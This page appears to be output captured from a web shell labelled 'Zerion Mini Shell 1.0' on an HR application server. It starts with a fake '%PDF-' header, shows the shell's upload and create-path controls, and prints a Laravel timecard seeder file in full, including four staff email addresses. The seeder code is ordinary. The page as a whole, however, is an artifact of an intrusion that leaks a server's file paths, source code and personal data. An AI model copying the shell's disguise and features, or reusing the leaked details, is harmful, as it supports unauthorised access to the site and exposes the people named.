%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/database/seeds/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/database/seeds/TimecardsTableSeeder.php

<?php

use App\Models\Day;
use App\Models\Project;
use App\Models\Timecard;
use App\Models\User;
use Carbon\Carbon;
use Carbon\CarbonPeriod;
use Faker\Generator as Faker;
use Illuminate\Database\Seeder;

class TimecardsTableSeeder extends Seeder
{
    /**
     * @var Faker
     */
    private $faker;

    /**
     * ProjectsTableSeeder constructor.
     * @param Faker $faker
     */
    public function __construct(Faker $faker)
    {

        $this->faker = $faker;
    }

    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        $user1 = User::query()
                     ->where('email', 'fabjan.elezi@hrsys.al')
                     ->first();
        $user2 = User::query()
                     ->where('email', 'shaban.ramadani@hrsys.al')
                     ->first();
        $user3 = User::query()
                     ->where('email', 'ermal.draqi@hrsys.al')
                     ->first();
        $user4 = User::query()
                     ->where('email', 'sara.fin@hrsys.al')
                     ->first();

        $start = Carbon::now()
                       ->startOfYear();
        $end = Carbon::now()
                     ->addMonth()
                     ->endOfDay();

        $range = CarbonPeriod::create($start, $end);

        foreach ($range as $date) {
            /** @var Timecard $item1 */
            $isWorkingDay = Day::isWorkingDay($date);
            $expectedWorkingHours = $isWorkingDay
                ? 8
                : 0;

            if ($expectedWorkingHours > 0) {
                $this->createTimecard($date, $expectedWorkingHours, $user1);
                $this->createTimecard($date, $expectedWorkingHours, $user2);
                $this->createTimecard($date, $expectedWorkingHours, $user3);
                $this->createTimecard($date, $expectedWorkingHours, $user4);
            }
        }

    }

    private function createTimecard($date, $expectedWorkingHours, $user1)
    {
        /** @var Timecard $item */
        $item = Timecard::query()
                         ->make([
                             'date'           => $date,
                             'start_time'     => '09:00',
                             'end_time'       => '17:00',
                             'notes'          => $this->faker->paragraph,
                             'hours'          => $expectedWorkingHours,
                             'status'         => Timecard::APPROVED,
                             'approved_hours' => $this->faker->numberBetween($expectedWorkingHours - 2, $expectedWorkingHours + 2),
                         ]);
        $item->user()
              ->associate($user1);
        $item->project()
              ->associate(Project::query()
                                 ->orderByRaw('RAND()')
                                 ->first()->id);
        $item->save();
        return $item;
    }

}

Zerion Mini Shell 1.0